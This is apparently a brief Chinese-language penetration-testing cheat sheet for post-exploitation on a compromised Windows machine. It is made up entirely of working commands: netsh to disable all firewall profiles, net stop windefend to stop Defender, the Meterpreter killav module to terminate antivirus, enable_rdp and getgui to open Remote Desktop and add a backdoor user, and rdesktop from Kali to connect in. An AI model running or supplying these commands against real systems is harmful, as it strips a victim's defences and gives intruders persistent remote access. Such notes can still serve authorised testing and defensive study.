渗透操作后续阶段

1.关闭防火墙

netsh advfirewall set allprofiles state off

• 关闭denfender

输入shell 进入 cmdshell里面

net stop windefend

• 关闭杀毒软件

run post/windows/manage/killav
run killav 

• 可以启动杀毒软件的检测脚本来进行判断是否存在杀毒软件或者是哪一种杀毒软件。

2.登陆远程桌面

• 远程桌面登录

run post/windows/manage/enable_rdp

• 也可以使用getgui 来开启 远程桌面

run getgui -e

• 添加用户

run getgui -u 123 -p 12345

可以在kali里面rdesktop开启远程桌面连接了。